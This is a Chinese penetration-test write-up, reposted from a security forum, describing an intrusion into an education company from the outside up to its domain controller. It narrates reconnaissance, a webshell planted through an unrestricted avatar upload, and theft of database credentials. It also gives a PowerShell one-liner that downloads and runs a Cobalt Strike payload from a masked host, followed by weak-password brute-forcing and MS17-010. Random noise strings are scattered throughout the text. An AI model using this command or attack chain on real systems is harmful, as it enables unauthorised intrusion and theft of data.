|
1 M6 Y1 i8 ?/ c 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路
+ h% w/ a3 d4 r( Z+ Q" T; ~: {
4 |+ e6 f5 L+ {. M0 d8 V. \) C) s$ B0 u" k
- r+ s$ n; W) T
+ G: ?8 ]( |$ r% T
4 S u5 U, X5 v( C j, o 正文& x! C: m' s! |9 d( b
" R# U# e+ y3 r [$ X1 Y1 D
4 z( r! |6 v' G! r: A2 u
( U" Y9 _) H+ [ a: p s) B
: J/ g8 s' @* P* O) ^7 Y4 c1 ^* B4 T, s6 q) A# i6 f
目标:www.xxxx.com(一家教育机构) + [" W: W* D, J. b( t9 p9 T
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
) z. n& B/ ? X; Z R% F4 q( p 5 F+ f6 K) N' N! K ^8 N; C: P$ |3 O
0 d. {: X& `) i! k5 p6 D & b& F9 t/ c- ]0 ^. k8 U; I
7 E" m4 e' f* j0 X
& j9 ?9 d- @. o1 s0 \
进行了简单的信息搜集
2 Q( u P6 L9 ]2 z 2 Z2 O' u" z; x$ b0 {0 q5 G# D
; y! p1 t' ~! ~- S" [7 ?
$ |0 A; i( `* ~" `& K3 C8 H4 y
, d8 c) P2 `$ `! J' c# F5 v 子域名搜集
4 p# `" F2 P( `6 t0 }2 j. b
0 l2 C/ @" C$ O" V
! X0 l; I# J4 I: n8 y
; a, j6 G% U. r2 r/ M4 `0 S
1 x; q4 X9 z% ^1 V) |( \6 [; `
3 n3 d) u1 q7 h fofa找资产 / j ]2 l0 N' g/ I+ t' R/ R& z+ u! S
$ N- c: r7 n7 T. D/ |$ ]9 r4 b4 n( [8 @9 D3 o8 x4 J
- U& \4 |- O+ Z' |/ g3 b
+ _! R4 G/ W, r3 o6 G
( {0 e9 a) Y3 h- ^: |0 i3 P
. P1 b- q N i6 g8 ^0 B& q/ L4 V" Z
一共七个资产。去重之后只有两个。 : B1 O: {7 a$ Z" m; v! t$ r E% U
0 s) v5 o% h5 Y6 Y$ w, C; F1 x/ A& v8 [+ s. o0 W B
( M/ P3 h5 \5 ]. y/ T* D$ G
4 q# l( g0 W& u0 E( b; D; I! Z
目录探测
2 f3 w& x' Z7 l' z- _' x4 U+ ~- v - \) E) D1 |+ X* v: E
( N7 q# J7 m+ G& \( F+ N
$ N( J0 P: P O1 H# @8 X! n
9 t8 y G6 {, D) P! a9 M1 w
% q" @. T& `2 ~9 S0 P0 Y5 ]$ Y
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有 ; S8 z. K3 x9 p8 C* K
/ _' y, s, H: a: x/ h: e7 |7 z5 a1 R8 U
2 _- O) ]( y$ _3 Z$ a- b2 g
" ~- d/ s- z& ~, s7 ^ 我又尝试了通过修改返回包来绕过登录界面
$ E8 E2 l8 q+ v1 K) ~0 | " R6 ]4 q* z3 C6 p
8 e% i" m) N- ]3 J . `' w. t& y1 P
7 b1 @7 K" r( r* K3 U$ Y; p
; _, Q% s1 _# S4 r$ \ m: R 还是不行,尝试注入无果( z5 p! G" g6 F4 l1 j7 }
1 F! ?' E# J! F9 S6 {
0 d8 d' m! i. u1 K8 i2 I& _
' I! p, ?: u* B* ~1 B1 q) F2 ^ 6 T" W2 L; s: S2 H) L+ E4 N, M
& Q; K$ D& ]+ a$ p" W8 q& I
不过我目录探测出了一处Spring信息泄露 4 H4 Z( d4 v/ `) S! p m$ A+ ~
1 _5 h4 n% H& B+ Q9 Z
% D# [/ ]* ]/ i( r6 T
' q$ S2 i+ n; I2 n
8 M$ f) Q6 s6 X; n6 S 7 Y3 U9 H( | o7 ~3 Z
+ X$ U+ W( Q8 K/ S+ O$ ~+ L. Z2 h: `
& Y# Y0 J* F0 j7 b: D8 M 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录0 u1 @$ R' B6 s- A
0 d4 @% c% A8 k6 A/ t* t
4 C" R9 R H3 h: y) N& G
* E$ t J; t8 S" D! F+ Z l) |( { , I, O1 r% n( t9 s# \7 n3 L
6 h2 Y5 k \* x% m. Y 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。
9 S9 Y; b$ f; R+ \ ; x2 V% G: a" @0 A7 d
$ D$ u3 o( l/ a( ?
% q d% Y0 R+ y- I1 m
( ? _: \5 e* Q0 E: G. y
" p1 _# o/ Z6 d6 G2 J; t 获取有些师傅到这一步就手机抓包电脑测了。4 y; R8 t! f8 `; _, D
5 e* P' A! m6 P1 U
# M/ i- g! X+ T( g1 j
Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。
* t. H6 W6 Q& e 8 X+ f/ x8 Y9 c. ]/ o5 _( p
, A) a+ u: p/ s; Q: R
其中在一个公众号发现了小程序,可以进行注册。
5 t" w. x( J. j$ p! a . L3 Y! [) ~& c7 A# j y
# X' h+ z# e, @" x6 U" w& \8 B: ?
看到了头像上传,尝试上传获取WebShell0 u5 y5 s; t# Q) H) L
) H- M+ N7 ^% M& V+ J y4 a3 L% T
/ c7 P9 Q2 h5 E" T4 K' p ; M7 S$ o6 o5 g2 P0 U
; `( N, r! |" L
7 g( D) z; \, P7 E$ w7 W- l
未做任何限制成功GetShell,上了冰蝎马,目录没权限访问
5 S" v' V$ r* T& O: `2 Z1 Y% j * {: j' N" r8 U p
! ^6 Q3 M% j) O7 V/ Z. a$ x) l8 M
" f* G- c* b! ^0 f
3 n7 @6 g8 @, ]8 I) j( Q
" E& v! R9 r' z 然后上了大马
/ p3 c% B, `! z3 I, ?( e
5 s! Z) Q% H+ N. O, s8 a7 p( M* E* k
- R& o$ e l. W6 J, } V
( u0 D+ m9 ^; T/ F2 C3 V ! u8 J) [, T& w* ?% U: q
1 {+ B$ b! X, R( X. m! y6 l . `3 m5 N! D: i s% L. g, u
O: b A2 P& ?2 ?, p0 X8 a
* K+ w8 b6 x+ E- b! O 通过翻找文件发现数据库账号密码
! `- L8 q2 k; q0 z0 x- a
! C/ h& Q% Y) K0 A$ Q/ M6 l
+ U4 B4 m/ E8 p" x- _: c
; C$ S4 |1 r# h% w$ @3 n _9 j6 O a+ K4 E+ V. j0 ?
]0 C8 ?9 c: @. A6 c --内网渗透
0 U. @0 d" n# u" K, E/ H+ H. Z/ A
5 w( V K. w6 [9 |3 f/ G- x# x6 u7 o' X: x
直接通过powershell执行 cs上线5 C/ Z% r: s1 R- x# c9 n6 ?
( _% I& Z7 q& K; J9 s( o* E# k6 D, m) a, Q0 B9 y
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
J. V* ?3 q6 W1 N/ \2 } 5 t. C! q0 V* V3 ^. S/ o, R
' \1 I9 R+ \0 M3 G- j0 g
/ P# l2 t" Z- W% H; X, [, ^ % B# v9 R6 w* a3 p
- O& E4 }- z. z* F S4 m 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破
6 X; r3 f. ]+ ~* E
0 a8 `2 c" s- @# R
5 c9 k! w6 w L; ?* G
1 w$ K8 n4 S1 m8 v$ v: ^ 1 }8 M6 t! V$ z$ V" p
: t7 Y8 ~0 t" @ s- h9 A 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
! Z; u6 Q7 A" z# M
- L _9 j5 G2 d8 D" ` * p$ K. l8 P V/ d8 O
* i' F+ ]* s0 ~9 {: w+ `0 {
1 o$ N& f% A# f( B; ^* k1 A6 r+ }
( K$ e3 b9 G" X% w0 W3 F7 ]
$ L# m/ j- d8 ^8 i
; s8 ?; S7 E% c! e; A/ e; P/ C( z1 q( h; S9 m) W9 P
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
' s8 O% K5 S% F; }# ?
2 ?! S4 y( C- k/ p. [/ e+ l; N( @3 m4 J/ H4 k% X; v; z
& ]/ \; [; ], L4 J+ {$ t
$ R7 C$ U# _+ Z0 ` m% v' R
# S% w: A9 w1 ], U _# o: _ * a; `$ a! e# U n H4 Y- K( M8 [& f
/ Q0 _4 Y' U) R# o6 j- ?2 N
; E9 `* |5 c+ u/ i& C
$ a5 ~1 N2 v" c
/ R" z9 u: R9 P
& p! }& |3 y, c6 g5 {
5 M1 j8 A1 I! j. L% g0 [- ]0 f
2 k; t# o8 j+ E4 h
" R" s+ X' S) L5 ]5 [$ x, h1 C: ]
* i: Z/ E6 Q; L" e) B: g: g8 E 小结
3 }! k7 t8 h- b, l2 z$ w3 A9 b5 T - _* T' f' s" u) C
A$ ?1 ?( |! r) j& _& L
; k) B# w2 a* e. C( d, g0 w7 P; ]
* M3 `2 F1 R/ r7 B6 R- P9 ?( r1 }! [: w2 p
在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!" S; [2 Y0 S5 S! ?9 U# i5 ~$ r
; o# g0 P7 b1 C8 D7 N2 B
+ G/ `: m" ]) d8 u& k 6 F3 g0 I; y! P" b; M( W
, `) `( X' u! ?- S2 n- @( w A9 J- a
-
2 Q7 h- x! c5 x7 U0 t2 ?% I
4 M, x2 Q4 o$ S/ x* I9 S
I2 o x0 `9 A N, Q -
1 y# F" B( R! m1 J/ m" W- u+ Y . ?, c$ w l; \$ P
! A2 Y; l- Y% E 6 f( o: D7 W* l4 A
9 {" T6 C- S: j8 W1 T
作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html; C3 j/ @ J7 U" F7 o
$ J& m# U: L+ v* c
3 E4 n2 h% v! e3 s' S 1 g' J, w3 A% }( Q1 ^& w2 \( D
|